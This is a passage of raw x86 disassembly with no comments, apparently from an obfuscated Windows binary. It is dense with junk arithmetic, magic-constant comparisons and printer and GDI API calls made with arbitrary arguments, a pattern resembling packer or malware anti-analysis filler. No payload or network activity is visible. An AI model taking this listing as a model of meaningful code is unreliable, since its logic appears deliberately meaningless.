mov dword [ebp - 0x2d58], eax
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x3050]
add ecx, 0x34
mov dword [ebp - 0x3050], ecx
mov edx, dword [ebp - 0x309c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [0x5193b8]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x7f4], cx
mov ecx, dword [ebp - 0x2fe0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], dl
movzx ecx, byte [ebp - 0xd0]
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd3], cl
movzx ecx, word [ebp - 0xb54]
movzx edx, word [0x5193c0]
add ecx, edx
mov eax, dword [ebp - 0x2ebc]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e60]
sub ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e64]
mov edx, dword [ebp - 0x2fa4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2eac]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb58]
shl edx, cl
mov word [ebp - 0xb60], dx
movzx eax, word [ebp - 0xb60]
movzx ecx, word [ebp - 0xb5c]
xor eax, ecx
mov edx, dword [0x5193c4]
mov word [edx], ax
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [ebp - 0x2e60]
or ecx, dword [eax]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
jmp 0x41ed18
mov eax, dword [ebp - 0x2ea0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xce]
sar edx, cl
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0x2f84]
movsx eax, byte [eax]
and ecx, eax
cmp edx, ecx
jne 0x41f13c
movsx ecx, word [ebp - 0x7f4]
movsx edx, word [ebp - 0xb4c]
sub ecx, edx
movsx eax, word [ebp - 0xb40]
movsx edx, word [0x5193c8]
sub eax, edx
cmp ecx, eax
je 0x41f126
call fcn.004ed570
nop
mov eax, dword [ebp - 0x301c]
mov ecx, dword [0x518008]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
mov dword [ebp - 0x30cc], ecx
cmp dword [ebp - 0x30cc], 0
je 0x41f168
cmp dword [ebp - 0x30cc], 0xaa6c8ce7
je 0x4ecac5
jmp 0x4ecb75
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [edx]
mov dword [ebp - 0x30d0], eax
cmp dword [ebp - 0x30d0], 0
je 0x41f194
cmp dword [ebp - 0x30d0], 0x76748fea
je 0x41f223
jmp 0x41f27c
mov ecx, dword [ebp - 0x2eac]
mov dx, word [ecx]
mov word [ebp - 0xb64], dx
mov dword [ebp - 0x30d4], 0xe296
movzx eax, byte [ebp - 0xcf]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0xd5]
movzx edx, byte [ebp - 0xd6]
add ecx, edx
cmp eax, ecx
jle 0x41f221
mov eax, dword [ebp - 0x3074]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd6]
add ecx, edx
mov eax, dword [ebp - 0x3074]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2f84]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0xcd]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x15]
push eax
mov ecx, dword [ebp - 0x2f84]
movzx edx, byte [ecx]
push edx
call fcn.004eefc0
add esp, 0x14
jmp 0x41f27c
lea eax, [ebp - 0xcd]
push eax
push 0x6f
lea ecx, [ebp - 0x309c]
push ecx
push 5
mov edx, dword [ebp - 0x2f18]
push edx
mov eax, dword [ebp - 0x30d8]
push eax
call sub.WINSPOOL.DRV_GetFormA
mov dword [ebp - 0x2f1c], eax
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
movzx ecx, word [ebp - 0xb40]
push ecx
movzx edx, word [0x5193c8]
push edx
call fcn.004ee400
add esp, 8
mov eax, dword [ebp - 0x2ed8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x30c4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x30c4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2fbc]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb44]
movzx edx, word [ebp - 0xb64]
or ecx, edx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x5193c4]
mov word [ecx], dx
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ebp - 0x2e60]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x30c4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2e5c]
and eax, dword [ebp - 0x3078]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3074]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3014]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb64], dx
movsx edx, byte [ebp - 0x15]
movsx eax, byte [ebp - 0xcd]
sub edx, eax
mov byte [ebp - 0xce], dl
movsx ecx, word [ebp - 0xb40]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2ed4]
mov word [edx], cx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2dfc]
mov dword [0x5193b8], ecx
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2e2c], ecx
movzx edx, byte [ebp - 0xd5]
movzx eax, byte [ebp - 0xd1]
sub edx, eax
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], dl
movzx edx, word [ebp - 0xb5c]
movzx eax, word [ebp - 0xb44]
add edx, eax
mov word [ebp - 0xb54], dx
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ff8]
add edx, 0x83
mov dword [ebp - 0x2ff8], edx
mov eax, dword [ebp - 0x2e5c]
or eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2fac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fbc]
xor edx, dword [ebp - 0x2d58]
mov dword [ebp - 0x2ff4], edx
mov eax, dword [ebp - 0x2fbc]
mov ecx, dword [ebp - 0x2e2c]
sar eax, cl
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd6]
and edx, eax
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3080]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
sub eax, edx
mov word [0x5193c0], ax
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2e5c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2ed8]
mov dword [edx], ecx
cmp dword [ebp - 0x2ff8], 0x115b4
jne 0x41f27c
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [eax]
and ecx, dword [0x518008]
mov dword [ebp - 0x2fbc], ecx
mov edx, dword [ebp - 0x301c]
mov eax, dword [ebp - 0x2e2c]
add eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [ecx]
add edx, dword [0x518008]
mov dword [ebp - 0x2ffc], edx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x7f4]
sub edx, eax
mov word [ebp - 0xb40], dx
movsx ecx, byte [ebp - 0xce]
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2f84]
mov byte [edx], cl
movzx eax, word [ebp - 0xb64]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xb50], ax
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd5]
sar eax, cl
mov byte [0x518006], al
mov ecx, dword [ebp - 0x2fac]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2f8c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd6], cl
movzx ecx, word [ebp - 0xb44]
movzx edx, word [ebp - 0xb5c]
add ecx, edx
mov word [ebp - 0xb58], cx
mov eax, dword [ebp - 0x30c8]
add eax, 0xe8
mov dword [ebp - 0x30c8], eax
mov ecx, dword [0x518008]
sub ecx, dword [ebp - 0x2ffc]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x3078]
add edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x2fa4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [ebp - 0x2fbc]
and ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x3074]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd4]
add eax, ecx
mov byte [0x518006], al
movzx edx, word [0x5193c0]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3020]
mov word [eax], dx
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [edx]
mov dword [ebp - 0x2d58], eax
cmp dword [ebp - 0x30c8], 0xcc7a
jne 0x41f4e2
cmp dword [ebp - 0x30c0], 0x940a
jb 0x41fb4d
movsx edx, byte [ebp - 0xcd]
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x15], dl
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2fb0]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x2ed4]
mov word [ecx], dx
movzx edx, byte [ebp - 0xd5]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xcf], dl
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb60]
xor eax, ecx
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x309c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2d58]
mov dword [0x51800c], ecx
mov edx, dword [ebp - 0x30b0]
add edx, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2d58], edx
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [ebp - 0x2e60]
sub ecx, dword [eax]
mov dword [ebp - 0x2e5c], ecx
mov edx, dword [ebp - 0x2d58]
sub edx, dword [ebp - 0x30b0]
mov dword [ebp - 0x2fbc], edx
mov eax, dword [ebp - 0x30c0]
sub eax, 0x27
mov dword [ebp - 0x30c0], eax
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb5c]
add edx, eax
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
movzx edx, byte [ebp - 0xd1]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3014]
mov byte [eax], dl
mov ecx, dword [0x518008]
add ecx, dword [ebp - 0x30b0]
mov edx, dword [ebp - 0x2fa4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x3078], ecx
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x30b0], ecx
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x30b0]
mov dword [0x518008], eax
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb48]
or ecx, edx
mov eax, dword [ebp - 0x3020]
mov word [eax], cx
movzx edx, byte [0x518006]
movzx ecx, byte [ebp - 0xd1]
shl edx, cl
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
movsx edx, byte [ebp - 0xce]
mov eax, dword [ebp - 0x2f84]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x15], dl
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xb4c], dx
mov edx, dword [ebp - 0x2fac]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x3088]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb54]
sub edx, eax
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3074]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], al
mov edx, dword [0x5193bc]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e5c]
mov dword [0x5193b8], eax
mov ecx, dword [ebp - 0x2ff4]
add ecx, dword [ebp - 0x2ffc]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2ff4]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xb54], dx
movzx edx, byte [ebp - 0xd5]
movzx ecx, byte [ebp - 0xd6]
shl edx, cl
mov eax, dword [ebp - 0x3074]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2d58], eax
mov ecx, dword [ebp - 0x2dfc]
sub ecx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], ecx
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [edx]
and eax, dword [0x51800c]
mov dword [0x518008], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2d58]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xce]
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2ea0]
mov byte [edx], cl
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2fb0]
mov word [edx], cx
movzx eax, word [ebp - 0xb60]
movzx ecx, word [ebp - 0xb5c]
add eax, ecx
mov word [ebp - 0xb58], ax
mov edx, dword [ebp - 0x3074]
movzx eax, byte [edx]
movzx ecx, byte [0x518006]
sub eax, ecx
mov byte [ebp - 0xd1], al
mov edx, dword [ebp - 0x309c]
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x309c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3088]
mov dword [ebp - 0x2d58], ecx
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
and eax, ecx
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], al
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3080]
movzx eax, word [edx]
xor ecx, eax
mov word [0x5193c0], cx
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [0x5193b8]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e38]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov edx, dword [eax]
mov ecx, dword [0x518008]
sar edx, cl
mov eax, dword [ebp - 0x2fc4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2fac]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x3078], eax
movzx ecx, byte [ebp - 0xd0]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xd6], cl
movzx ecx, word [ebp - 0xb5c]
movzx edx, word [ebp - 0xb48]
and ecx, edx
mov word [ebp - 0xb60], cx
mov eax, dword [ebp - 0x2e2c]
sub eax, dword [ebp - 0x2d58]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e38]
add edx, dword [ecx]
mov dword [ebp - 0x2fbc], edx
jmp 0x41f6bb
mov al, byte [ebp - 0x15]
mov byte [ebp - 0x30dc], al
cmp byte [ebp - 0x30dc], 0
je 0x41fb71
cmp byte [ebp - 0x30dc], 0x73
je 0x41fc9f
jmp 0x41fd02
mov ecx, dword [ebp - 0x3020]
movzx edx, word [ecx]
mov dword [ebp - 0x30e0], edx
cmp dword [ebp - 0x30e0], 0
je 0x41fb9e
cmp dword [ebp - 0x30e0], 0x938
je 0x41fc85
jmp 0x41fc9d
mov eax, dword [ebp - 0x2f84]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x518007], cl
mov ecx, dword [ebp - 0x3014]
mov dl, byte [ecx]
mov byte [ebp - 0x30e4], dl
cmp byte [ebp - 0x30e4], 0
je 0x41fbd4
jmp 0x41fc6f
movsx eax, word [ebp - 0xb4c]
movsx ecx, word [ebp - 0x7f4]
add eax, ecx
mov edx, dword [ebp - 0x2fb0]
mov word [edx], ax
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
movzx edx, byte [0x518006]
sub ecx, edx
mov eax, dword [ebp - 0x2ec0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
mov dword [ebp - 0x30e8], edx
cmp dword [ebp - 0x30e8], 0
je 0x41fc2c
cmp dword [ebp - 0x30e8], 0x3fdc40cf
je 0x41fc59
jmp 0x41fc6d
lea eax, [ebp - 0xb5c]
mov dword [ebp - 0x30ec], eax
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [0x5193b8]
mov dword [ebp - 0x30f0], eax
jmp 0x41fc6d
mov ecx, dword [ebp - 0x3088]
sub ecx, dword [ebp - 0x2ffc]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
jmp 0x41fc83
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x2e64], ecx
jmp 0x41fc9d
movzx edx, word [ebp - 0xb4c]
push edx
movzx eax, word [ebp - 0xb4c]
push eax
call fcn.004ee400
add esp, 8
jmp 0x41fd02
push 0x25
lea ecx, [ebp - 0x30f4]
push ecx
mov edx, dword [ebp - 0x3090]
push edx
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0x3044], eax
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e2c]
xor ecx, dword [eax]
mov dword [ebp - 0x2ffc], ecx
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd3]
shl eax, cl
mov ecx, dword [ebp - 0x3074]
mov byte [ecx], al
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x5193c0], dx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2e60]
or edx, dword [ecx]
mov eax, dword [ebp - 0x2fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ecx]
mov dword [ebp - 0x30f8], edx
cmp dword [ebp - 0x30f8], 0
je 0x41fe3e
cmp dword [ebp - 0x30f8], 0x878b930f
je 0x41fd44
jmp 0x41ff2c
mov eax, dword [ebp - 0x2fb0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x7f4]
and ecx, edx
movsx eax, word [ebp - 0xb4c]
movsx edx, word [0x5193c8]
add eax, edx
cmp ecx, eax
jle 0x41fe23
mov eax, dword [0x5193bc]
mov ecx, dword [eax]
mov dword [ebp - 0x30fc], ecx
cmp dword [ebp - 0x30fc], 0x73a7b856
je 0x41fdde
cmp dword [ebp - 0x30fc], 0x9ad154b9
je 0x41fd98
jmp 0x41fe21
mov edx, dword [ebp - 0x2ffc]
add edx, dword [ebp - 0x2f2c]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
lea ecx, [ebp - 0x306c]
push ecx
lea edx, [ebp - 0x2f04]
push edx
push 0x3d
lea eax, [ebp - 0xd4]
push eax
push 0x63
mov ecx, dword [ebp - 0x3100]
push ecx
push 0xab
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [ebp - 0x2f7c], eax
jmp 0x41fe21
mov edx, dword [ebp - 0x2f2c]
sub edx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x30b0], edx
push 0x7f
lea eax, [ebp - 0xe67c]
push eax
lea ecx, [ebp - 0x3104]
push ecx
push 0x8f
push 0x4a
mov edx, dword [ebp - 0x3108]
push edx
mov eax, dword [ebp - 0x2e74]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x2d58], eax
jmp 0x41fe39
mov ecx, dword [ebp - 0x2fac]
mov edx, dword [ebp - 0x2e5c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3058]
mov dword [eax], edx
jmp 0x41ff2c
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ff4]
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2ffc]
add ecx, dword [eax]
cmp edx, ecx
jle 0x41ff2c
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb60]
shl eax, cl
mov word [ebp - 0xb54], ax
mov cl, byte [ebp - 0x15]
mov byte [ebp - 0x310c], cl
cmp byte [ebp - 0x310c], 5
je 0x41fe9b
cmp byte [ebp - 0x310c], 0x20
je 0x41ff10
jmp 0x41ff2c
mov edx, dword [ebp - 0x2f04]
mov eax, dword [0x51800c]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [ebp - 0x2e80]
mov ecx, dword [ecx]
or ecx, dword [edx]
cmp eax, ecx
jle 0x41fef8
push 0x24
lea edx, [ebp - 0xe3f8]
push edx
mov eax, dword [ebp - 0x3104]
push eax
call dword [sym.imp.GDI32.dll_PolyTextOutA]
mov dword [ebp - 0x2eb4], eax
mov ecx, dword [ebp - 0x2e3c]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x2ed4]
movzx ecx, word [eax]
push ecx
call fcn.004ee400
add esp, 8
jmp 0x41ff0e
movzx edx, byte [0x518006]
movzx eax, byte [ebp - 0xd6]
sub edx, eax
mov byte [ebp - 0xcf], dl
jmp 0x41ff2c
mov ecx, dword [ebp - 0x2fe0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov dword [ebp - 0x3110], edx
cmp dword [ebp - 0x3110], 0
je 0x41ff72
cmp dword [ebp - 0x3110], 0x7260
je 0x41ff52
jmp 0x41ffb4
lea eax, [ebp - 0x3114]
push eax
lea ecx, [ebp - 0x3118]
push ecx
lea edx, [ebp - 0x15]
push edx
call dword [sym.imp.GDI32.dll_CombineTransform]
mov dword [ebp - 0x311c], eax
jmp 0x41ffb4
movsx eax, word [ebp - 0x7f4]
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb40], ax
mov dword [ebp - 0x3120], 0x46b5
mov eax, dword [ebp - 0x30f0]
sub eax, dword [ebp - 0x3078]
mov dword [0x518010], eax
mov ecx, dword [ebp - 0x30c4]
mov edx, dword [ecx]
mov dword [ebp - 0x3124], edx
mov eax, dword [ebp - 0x3074]
mov cl, byte [eax]
mov byte [ebp - 0x3128], cl
cmp byte [ebp - 0x3128], 0x21
je 0x41ffd0
jmp 0x420064
mov edx, dword [ebp - 0x2fa0]
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2fac]
mov eax, dword [ebp - 0x2eb0]
mov edx, dword [edx]
sub edx, dword [eax]
cmp ecx, edx
jbe 0x42004e
movzx eax, byte [0x518006]
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd4], al
mov eax, dword [ebp - 0x3020]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb48]
shl edx, cl
mov eax, dword [ebp - 0x2eac]
mov word [eax], dx
lea ecx, [ebp - 0xe318]
push ecx
push 0xf7
lea edx, [ebp - 0x30ec]
push edx
mov eax, dword [ebp - 0x2f70]
push eax
call sub.WINSPOOL.DRV_WritePrinter
mov dword [ebp - 0x312c], eax
jmp 0x420062
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2f2c]
or edx, dword [ecx]
mov dword [ebp - 0x2fbc], edx
jmp 0x4200bd
mov eax, dword [ebp - 0x2f8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3078]
shr edx, cl
mov dword [ebp - 0x2dfc], edx
lea eax, [ebp - 0x2f2c]
